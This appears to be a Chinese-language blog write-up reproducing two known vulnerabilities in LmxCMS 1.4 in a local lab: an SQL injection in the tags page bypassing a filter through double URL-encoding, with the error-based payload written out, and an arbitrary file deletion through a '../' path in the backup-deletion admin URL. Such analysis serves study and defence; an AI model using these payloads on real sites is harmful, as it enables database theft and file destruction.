夢想CMS(lmxcms)1.4 簡要分析

starme發表於2024-10-15

環境搭建

參考: https://www.bilibili.com/video/BV12U4y1G7iV?t=30.9

原始碼: http://www.lmxcms.com/down/xitong/

image-20241015201653083

CNVD-2019-05674-前臺的SQL隱碼攻擊

https://www.cnvd.org.cn/flaw/show/CNVD-2019-05674

LmxCMS V1.4前臺Ta***.cl***.php存在SQL隱碼攻擊漏洞。攻擊者可利用漏洞獲取資料庫敏感資訊。

指TagsAction.class.php
image-20241015115055146
這裡呼叫的是系統自己定義的p函式,在common.php中
image-20241015115110172
但是這個p函式過濾的很嚴,所以考慮在p函式之外繞過
有效的有兩個地方:

$name = string::delHtml($data['name']);
$name = urldecode($name);

關於這個delHtml:

呼叫了strip_tags
效果是:

echo strip_tags("selec<>t");  // select

跟進輸出處:


image-20241015114945303

還是新增echo $sql;

所以這裡對應的是:/lmxcms1.4/?m=tags&name=a
由於這裡有404,報了404之後會發生頁面跳轉,不方便觀察:
image-20241015115020873

由於這兒有Cookie,所以每次對原始碼修改後都要重新抓包
payload:/lmxcms1.4/?m=tags&name=a

但是那個delHtml的效果並不好
接下來嘗試利用urldecode
正常情況下:

a' or updatexml(0,concat(0x7e,version()),1)#

URL編碼兩次:

%25%36%31%25%32%37%25%32%30%25%36%66%25%37%32%25%32%30%25%37%35%25%37%30%25%36%34%25%36%31%25%37%34%25%36%35%25%37%38%25%36%64%25%36%63%25%32%38%25%33%30%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%32%38%25%32%39%25%32%39%25%32%63%25%33%31%25%32%39%25%32%33

然後傳參:

CNVD-2020-59469-後臺---檔案刪除

https://www.cnvd.org.cn/flaw/show/CNVD-2020-59469

image-20241015111016742
BackdbAction.class.php:
image-20241015115224064
跟進:
image-20241015115239822
發現重寫了unlink方法:

public static function unLink($path){
        if($path == ROOT_PATH) return;
        if(is_file($path)){
            if(!@unlink($path)) rewrite::js_back('刪除檔案失敗,請檢查'.$path.'檔案許可權');
            return true;
        }
    }

發現在其他檔案中也有使用:

對應的是BasicAction.class.php

回到剛才的unlink:
image-20241015115258328
但是這兩個地方刪除的檔案的字尾都被限制了,一個是.zip,另一個是.sql
再找其他地方:
image-20241015115312176
這個unLink($filepath);,$filename可控,可能是一個利用點,不過利用起來比較麻煩
還有一處:
image-20241015115325238
預設放置位置在file/back目錄下
在根目錄下新建一個1.txt:

所以:

http://192.168.84.1:8081/lmxcms1.4/admin.php?m=backdb&a=delbackdb&filename=../../1.txt

相關文章